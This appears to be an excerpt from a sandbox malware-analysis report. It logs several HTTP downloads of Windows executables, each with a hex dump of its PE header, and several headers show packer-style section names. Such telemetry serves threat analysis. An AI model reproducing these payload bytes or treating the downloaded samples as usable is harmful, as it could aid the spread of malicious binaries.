Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:53:36 GMTContent-Type: application/octet-streamContent-Length: 2810368Last-Modified: Sat, 26 Oct 2024 05:56:24 GMTConnection: keep-aliveETag: "671c8488-2ae200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6a 71 69 76 6f 62 00 80 2a 00 00 a0 00 00 00 80 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 71 6c 64 6e 65 73 78 00 20 00 00 00 20 2b 00 00 06 00 00 00 ba 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 c0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:53:55 GMTContent-Type: application/octet-streamContent-Length: 3008000Last-Modified: Sat, 26 Oct 2024 06:48:28 GMTConnection: keep-aliveETag: "671c90bc-2de600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 b7 e1 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 90 05 00 00 00 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 61 77 6e 6a 77 70 6f 00 30 2b 00 00 b0 05 00 00 2e 2b 00 00 90 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 67 69 69 67 79 78 73 00 10 00 00 00 e0 30 00 00 06 00 00 00 be 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 c4 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:05 GMTContent-Type: application/octet-streamContent-Length: 1872384Last-Modified: Sat, 26 Oct 2024 06:48:34 GMTConnection: keep-aliveETag: "671c90c2-1c9200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 6c 64 73 71 67 7a 00 30 1a 00 00 80 50 00 00 2e 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 67 72 62 79 65 67 69 00 10 00 00 00 b0 6a 00 00 06 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 70 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:15 GMTContent-Type: application/octet-streamContent-Length: 919040Last-Modified: Sat, 26 Oct 2024 05:55:58 GMTConnection: keep-aliveETag: "671c846e-e0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 66 84 1c 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 de 5b 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f4 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f4 9b 00 00 00 40 0d 00 00 9c 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 90 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:22 GMTContent-Type: application/octet-streamContent-Length: 1897984Last-Modified: Sat, 26 Oct 2024 06:48:41 GMTConnection: keep-aliveETag: "671c90c9-1cf600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 17 23 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 19 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 19 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 75 6f 6e 69 72 76 62 00 e0 19 00 00 40 31 00 00 da 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6f 77 6e 6b 75 6d 72 00 10 00 00 00 20 4b 00 00 06 00 00 00 ce 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4b 00 00 22 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:23 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 06:54:31 GMTContent-Type: application/octet-streamContent-Length: 1872384Last-Modified: Sat, 26 Oct 2024 06:48:34 GMTConnection: keep-aliveETag: "671c90c2-1c9200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 6c 64 73 71 67 7a 00 30 1a 00 00 80 50 00 00 2e 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 67 72 62 79 65 67 69 00 10 00 00 00 b0 6a 00 00 06 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 70 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
